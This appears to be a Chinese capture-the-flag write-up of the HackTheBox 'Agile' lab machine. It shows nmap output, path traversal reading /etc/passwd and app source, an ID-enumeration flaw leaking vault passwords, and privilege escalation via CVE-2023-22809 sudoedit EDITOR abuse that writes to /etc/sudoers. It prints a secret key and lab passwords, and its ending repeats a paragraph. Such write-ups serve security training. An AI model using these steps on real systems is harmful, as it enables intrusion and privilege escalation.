Httpsuperpass
Nmap 结果
┌──(root💀kali)-[~]
└─# nmap -A 10.10.11.203
Starting Nmap 7.93( https://nmap.org ) at 2023-03-10 06:10 EST
Nmap scan report for10.10.11.203
Host is up (0.48s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp openssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:
|256 f4bcee21d71f1aa26572212d5ba6f700 (ECDSA)|_ 256 65c1480d88cbb975a02ca5e6377e5106 (ED25519)80/tcp open http nginx 1.18.0 (Ubuntu)|_http-server-header: nginx/1.18.0 (Ubuntu)|_http-title: Did not follow redirect to http://superpass.htb
No exact OS matches forhost(If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.93%E=4%D=3/10%OT=22%CT=1%CU=39101%PV=Y%DS=2%DC=T%G=Y%TM=640B106
OS:A%P=x86_64-pc-linux-gnu)SEQ(SP=FF%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%TS=A)OPS(
OS:O1=M537ST11NW7%O2=M537ST11NW7%O3=M537NNT11NW7%O4=M537ST11NW7%O5=M537ST11
OS:NW7%O6=M537ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(
OS:R=Y%DF=Y%T=40%W=FAF0%O=M537NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS
OS:%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=
OS:Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=
OS:R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T
OS:=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=
OS:S)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 5900/tcp)
HOP RTT ADDRESS
1510.64 ms 10.10.16.1
2352.59 ms 10.10.11.203
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1host up) scanned in53.74 seconds
点击功能点发现一个接口
/download?fn=/etc/passwd
报错发现根目录在/tmp
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
usbmux:x:107:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
corum:x:1000:1000:corum:/home/corum:/bin/bash
dnsmasq:x:108:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
mysql:x:109:112:MySQL Server,,,:/nonexistent:/bin/false
runner:x:1001:1001::/app/app-testing/:/bin/sh
edwards:x:1002:1002::/home/edwards:/bin/bash
dev_admin:x:1003:1003::/home/dev_admin:/bin/bash
_laurel:x:999:999::/var/log/laurel:/bin/false
cmdline
pid : 561
/usr/local/sbin/laurel
pid:776
/usr/bin/python3/usr/bin/networkd-dispatcher--run-startup-triggers
/proc/self/cmdline
/app/venv/bin/python3 /app/venv/bin/gunicorn --bind 127.0.0.1:5000 --threads=10 --timeout 600 wsgi:app
#!/app/venv/bin/python3# -*- coding: utf-8 -*-import re
import sys
from gunicorn.app.wsgiapp import run
if __name__ =='__main__':
sys.argv[0]= re.sub(r'(-script\.pyw|\.exe)?$','', sys.argv[0])
sys.exit(run())
import json
import os
import sys
import flask
import jinja_partials
from flask_login import LoginManager
sys.path.insert(0, os.path.abspath(os.path.join(os.path.dirname(__file__),'..')))from superpass.infrastructure.view_modifiers import response
from superpass.data import db_session
app = flask.Flask(__name__)
app.config['SECRET_KEY']='MNOHFl8C4WLc3DQTToeeg8ZT7WpADVhqHHXJ50bPZY6ybYKEr76jNvDfsWD'defregister_blueprints():from superpass.views import home_views
from superpass.views import vault_views
from superpass.views import account_views
app.register_blueprint(home_views.blueprint)
app.register_blueprint(vault_views.blueprint)
app.register_blueprint(account_views.blueprint)defsetup_db():
db_session.global_init(app.config['SQL_URI'])defconfigure_login_manager():
login_manager = LoginManager()
login_manager.login_view ='account.login_get'
login_manager.init_app(app)from superpass.data.user import User
@login_manager.user_loaderdefload_user(user_id):from superpass.services.user_service import get_user_by_id
return get_user_by_id(user_id)defconfigure_template_options():
jinja_partials.register_extensions(app)
helpers ={'len':len,'str':str,'type':type,}
app.jinja_env.globals.update(**helpers)defload_config():
config_path = os.getenv("CONFIG_PATH")withopen(config_path,'r')as f:for k, v in json.load(f).items():
app.config[k]= v
defconfigure():
load_config()
register_blueprints()
configure_login_manager()
setup_db()
configure_template_options()defenable_debug():from werkzeug.debug import DebuggedApplication
app.wsgi_app = DebuggedApplication(app.wsgi_app,True)
app.debug =Truedefmain():
enable_debug()
configure()
app.run(debug=True)defdev():
configure()
app.run(port=5555)if __name__ =='__main__':
main()else:
configure()
home_view.py
import flask
from superpass.infrastructure.view_modifiers import response
blueprint = flask.Blueprint('home', __name__, template_folder='templates')@blueprint.route('/')@response(template_file='home/index.html')defindex():return{}
vault_views.py
import flask
import subprocess
from flask_login import login_required, current_user
from superpass.infrastructure.view_modifiers import response
import superpass.services.password_service as password_service
from superpass.services.utility_service import get_random
from superpass.data.password import Password
blueprint = flask.Blueprint('vault', __name__, template_folder='templates')@blueprint.route('/vault')@response(template_file='vault/vault.html')@login_requireddefvault():
passwords = password_service.get_passwords_for_user(current_user.id)print(f'{passwords=}')return{'passwords': passwords}@blueprint.get('/vault/add_row')@response(template_file='vault/partials/password_row_editable.html')@login_requireddefadd_row():
p = Password()
p.password = get_random(20)#import pdb;pdb.set_trace()return{"p": p}@blueprint.get('/vault/edit_row/<id>')@response(template_file='vault/partials/password_row_editable.html')@login_requireddefget_edit_row(id):
password = password_service.get_password_by_id(id, current_user.id)return{"p": password}@blueprint.get('/vault/row/<id>')@response(template_file='vault/partials/password_row.html')@login_requireddefget_row(id):
password = password_service.get_password_by_id(id, current_user.id)return{"p": password}@blueprint.post('/vault/add_row')@login_requireddefadd_row_post():
r = flask.request
site = r.form.get('url','').strip()
username = r.form.get('username','').strip()
password = r.form.get('password','').strip()ifnot(site or username or password):return''
p = password_service.add_password(site, username, password, current_user.id)return flask.render_template('vault/partials/password_row.html', p=p)@blueprint.post('/vault/update/<id>')@response(template_file='vault/partials/password_row.html')@login_requireddefupdate(id):
r = flask.request
site = r.form.get('url','').strip()
username = r.form.get('username','').strip()
password = r.form.get('password','').strip()ifnot(site or username or password):
flask.abort(500)
p = password_service.update_password(id, site, username, password)return{"p": p}@blueprint.delete('/vault/delete/<id>')@login_requireddefdelete(id):
password_service.delete_password(id)return''@blueprint.get('/vault/export')@login_requireddefexport():if current_user.has_passwords:
fn = password_service.generate_csv(current_user)return flask.redirect(f'/download?fn={fn}',302)return"No passwords for user"@blueprint.get('/download')@login_requireddefdownload():
r = flask.request
fn = r.args.get('fn')withopen(f'/tmp/{fn}','rb')as f:
data = f.read()
resp = flask.make_response(data)
resp.headers['Content-Disposition']='attachment; filename=superpass_export.csv'
resp.mimetype ='text/csv'return resp
上面valut_view.py 其中有一个路由 /vault/row/
通过路由可以拿到用户 用户名和密码 只需要 便利id ,bp intruder 爆破试试
siteusernamepasswordhackthebox.com0xdf762b430d32eea2f12970ticketmastercorum9799588839ed0f98c211mgoblog.com0xdf5b133f7a6a1c180646cbmgoblogcorum47ed1e73c955de230a1dagilecorum5db7caa1d13cc37c9fc2ss6af712bbacbd6325b907
ssh 都试了试 site:agile 这个账号密码可以登录
拿到第一个flag
root
使用linpeas 扫描后
╔══════════╣ SUID - Check easy privesc, exploits and write perms
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suidstrace Not Found
-rwsr-xr-x 1 root root 19K Feb 262022 /usr/libexec/polkit-agent-helper-1
-rwsr-xr-x 1 root root 35K Feb 212022 /usr/bin/umount ---> BSD/Linux(08-1996)
-rwsr-xr-x 1 root root 47K Feb 212022 /usr/bin/mount ---> Apple_Mac_OSX(Lion)_Kernel_xnu-1699.32.7_except_xnu-1699.24.8
-rwsr-xr-x 1 root root 72K Nov 2412:05 /usr/bin/chfn ---> SuSE_9.3/10
-rwsr-xr-x 1 root root 59K Nov 2412:05 /usr/bin/passwd ---> Apple_Mac_OSX(03-2006)/Solaris_8/9(12-2004)/SPARC_8/9/Sun_Solaris_2.3_to_2.5.1(02-1997)
-rwsr-xr-x 1 root root 71K Nov 2412:05 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 44K Nov 2412:05 /usr/bin/chsh
-rwsr-xr-x 1 root root 35K Mar 232022 /usr/bin/fusermount3
-rwsr-xr-x 1 root root 55K Feb 212022 /usr/bin/su
-rwsr-xr-x 1 root root 40K Nov 2412:05 /usr/bin/newgrp ---> HP-UX_10.20
-rwsr-xr-x 1 root root 227K Aug 42022 /usr/bin/sudo ---> check_if_the_sudo_version_is_vulnerable
-rwsr-xr-- 1 root messagebus 35K Oct 2513:15 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 331K Nov 23 07:38 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 136K Dec 1 08:52 /usr/lib/snapd/snap-confine ---> Ubuntu_snapd<2.37_dirty_sock_Local_Privilege_Escalation(CVE-2019-7304)
-rwsr-xr-x 1 root root 215K Dec 122:29 /opt/google/chrome/chrome-sandbox
corum@agile:~$ curl127.0.0.1:8888
curl: (7) Failed to connect to 127.0.0.1 port 8888 after 0 ms: Connection refused
corum@agile:~$ netstat -ntlp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 00127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 000.0.0.0:80 0.0.0.0:* LISTEN -
tcp 000.0.0.0:22 0.0.0.0:* LISTEN -
tcp 00127.0.0.1:33060 0.0.0.0:* LISTEN -
tcp 00127.0.0.1:47833 0.0.0.0:* LISTEN -
tcp 00127.0.0.1:5000 0.0.0.0:* LISTEN -
tcp 00127.0.0.1:41829 0.0.0.0:* LISTEN -
tcp 00127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 00127.0.0.1:5555 0.0.0.0:* LISTEN -
tcp6 00 ::1:47833 :::* LISTEN -
tcp6 00 :::22 :::* LISTEN -
发现5555 端口用另外一个用户也起了一个和80端口类似的服务
使用ssh 端口转发到kali上 在kali上用浏览器访问
ssh -L 8888:127.0.0.1:5555 [email protected]
拿到另外一个用户edwards的密码
siteusernamepasswordagileedwardsd07867c6267dcb5df0af
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-P2KtNY4f-1678516478892)(null)]
在进程发现 有一个进程以root的身份 /bin/bash -c source /app/venv/bin/activate
如果我们能修改activate文件的内容是不是就表示 我们能提权了呢?
su edwards
之后输入密码更换用户
edwards@agile:~$ sudo -l
[sudo] password for edwards:
Matching Defaults entries for edwards on agile:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User edwards may run the following commands on agile:
(dev_admin : dev_admin) sudoedit /app/config_test.json
(dev_admin : dev_admin) sudoedit /app/app-testing/tests/functional/creds.txt
edwards@agile:~$
通过改变环境变量EDITOR 可以修改掉activate 文件 ,在activate 文件修改/etc/sudoers文件
echo “edwards ALL=(ALL:ALL) ALL” >>/etc/sudoers 添加这一句话到 /etc/sudoers
exportEDITOR="vim -- /app/venv/bin/activate"sudo -u dev_admin sudoedit /app/config_test.json
root@agile:/app/venv/bin# cat activate# This file must be used with "source bin/activate" *from bash*# you cannot run it directlyecho"edwards ALL=(ALL:ALL) ALL">>/etc/sudoers
deactivate(){# reset old environment variablesif[ -n "${_OLD_VIRTUAL_PATH:-}"];thenPATH="${_OLD_VIRTUAL_PATH:-}"exportPATHunset _OLD_VIRTUAL_PATH
fiif[ -n "${_OLD_VIRTUAL_PYTHONHOME:-}"];thenPYTHONHOME="${_OLD_VIRTUAL_PYTHONHOME:-}"export PYTHONHOME
unset _OLD_VIRTUAL_PYTHONHOME
fi# This should detect bash and zsh, which have a hash command that must# be called to get it to forget past commands. Without forgetting# past commands the $PATH changes we made may not be respectedif[ -n "${BASH:-}" -o -n "${ZSH_VERSION:-}"];thenhash -r 2> /dev/null
fiif[ -n "${_OLD_VIRTUAL_PS1:-}"];thenPS1="${_OLD_VIRTUAL_PS1:-}"exportPS1unset _OLD_VIRTUAL_PS1
fiunset VIRTUAL_ENV
unset VIRTUAL_ENV_PROMPT
if[!"${1:-}"="nondestructive"];then# Self destruct!unset -f deactivate
fi}# unset irrelevant variables
deactivate nondestructive
VIRTUAL_ENV="/app/venv"export VIRTUAL_ENV
_OLD_VIRTUAL_PATH="$PATH"PATH="$VIRTUAL_ENV/bin:$PATH"exportPATH# unset PYTHONHOME if set# this will fail if PYTHONHOME is set to the empty string (which is bad anyway)# could use `if (set -u; : $PYTHONHOME) ;` in bashif[ -n "${PYTHONHOME:-}"];then_OLD_VIRTUAL_PYTHONHOME="${PYTHONHOME:-}"unset PYTHONHOME
fiif[ -z "${VIRTUAL_ENV_DISABLE_PROMPT:-}"];then_OLD_VIRTUAL_PS1="${PS1:-}"PS1="(venv) ${PS1:-}"exportPS1VIRTUAL_ENV_PROMPT="(venv) "export VIRTUAL_ENV_PROMPT
fi# This should detect bash and zsh, which have a hash command that must# be called to get it to forget past commands. Without forgetting# past commands the $PATH changes we made may not be respectedif[ -n "${BASH:-}" -o -n "${ZSH_VERSION:-}"];thenhash -r 2> /dev/null
fi
root@agile:/app/venv/bin#
等一会
root@agile:/app/venv/bin# su edwards
edwards@agile:/app/venv/bin$ sudo -l
[sudo] password for edwards:
Matching Defaults entries for edwards on agile:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User edwards may run the following commands on agile:
(dev_admin : dev_admin) sudoedit /app/config_test.json
(dev_admin : dev_admin) sudoedit /app/app-testing/tests/functional/creds.txt
(ALL : ALL) ALL
edwards@agile:/app/venv/bin$
edwards@agile:/app/venv/bin$ sudosu
root@agile:/app/venv/bin#
直接 sudo su 变成root
总结
通过80端口的信息,各种点击 或者扫目录 发现一个download 的路由 其中参数为 fn 程序下载的根目录为/tmp 使用… 绕过
user:
文件包含
/app/app/superpass/app.py 拿到源码
/app/app/superpass/view/valut_view.py 中有一条特别的路由 /valut/row/ 拿到用户名和密码
便利id 拿到可用账号 corum
root:
sudoers 文件内容
这条配置的含义是:
第一个,指定的是用户,也可以是别名;
第二个,ALL指定的是用户所在的主机,可以是ip,也可以是主机名;
第三个,括号里指定的也是用户和组,指定以什么用户身份执行sudo
第四个,ALL指定的是执行的命令;
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fOCX2eKu-1678516479467)(null)]
在进程发现 有一个进程以root的身份 python3 /app/venv/bin/activate
如果我们能修改activate文件的内容是不是就表示 我们能提权了呢?
netstat -nlpt | grep 127.0.0.1 发现本地 5555端口起来一个 一样的服务,且使用用户 runner 启动的
我们可以ssh端口转发 将5555端口转发到本地 使用kali 中的浏览器 访问路由 /vault/row/1 拿到 edwards的 账号和密码(原理在上面)
edward 的 sudo -l 中存在
(dev_admin : dev_admin) sudoedit /app/config_test.json
(dev_admin : dev_admin) sudoedit /app/app-testing/tests/functional/creds.txt
表示可以以 dev_admin 用户的权限编辑这两个文件
这里存在一个CVE-2023-22809
大至的内容就是
如果比如有一条 sudoers 为
test (root:root) sudoedit /etc/custom/service.conf
相当于我们本来是拥有root权限去编辑 /etc/custom/service.conf 但是加入了环境变量EDITOR="vim --/etc/passwd" 我们就能以root的权限编辑passwd 文件
那么本题这里的意思就是说明我们可以以dev_admin的用户名义去修改任何 dev_admin 用户的文件
/app/venv/bin/activate 是属于dev_admin 用户的
然后进程中有一个进程是 以root 的权限 执行 /app/venv/bin/activate 我们只要能修改activate文件的内容 那么系统就会以root用户来执行这个文件 那么就能进行相应的提权
exportEDITOR="vim -- /app/venv/bin/activate"sudo -u dev_admin sudoedit /app/config_test.json
的权限编辑这两个文件
这里存在一个CVE-2023-22809
大至的内容就是
如果比如有一条 sudoers 为
test (root:root) sudoedit /etc/custom/service.conf
相当于我们本来是拥有root权限去编辑 /etc/custom/service.conf 但是加入了环境变量EDITOR="vim --/etc/passwd" 我们就能以root的权限编辑passwd 文件
那么本题这里的意思就是说明我们可以以dev_admin的用户名义去修改任何 dev_admin 用户的文件
/app/venv/bin/activate 是属于dev_admin 用户的
然后进程中有一个进程是 以root 的权限 执行 /app/venv/bin/activate 我们只要能修改activate文件的内容 那么系统就会以root用户来执行这个文件 那么就能进行相应的提权
exportEDITOR="vim -- /app/venv/bin/activate"sudo -u dev_admin sudoedit /app/config_test.json
版权归原作者 Som3B0dy 所有, 如有侵权,请联系我们删除。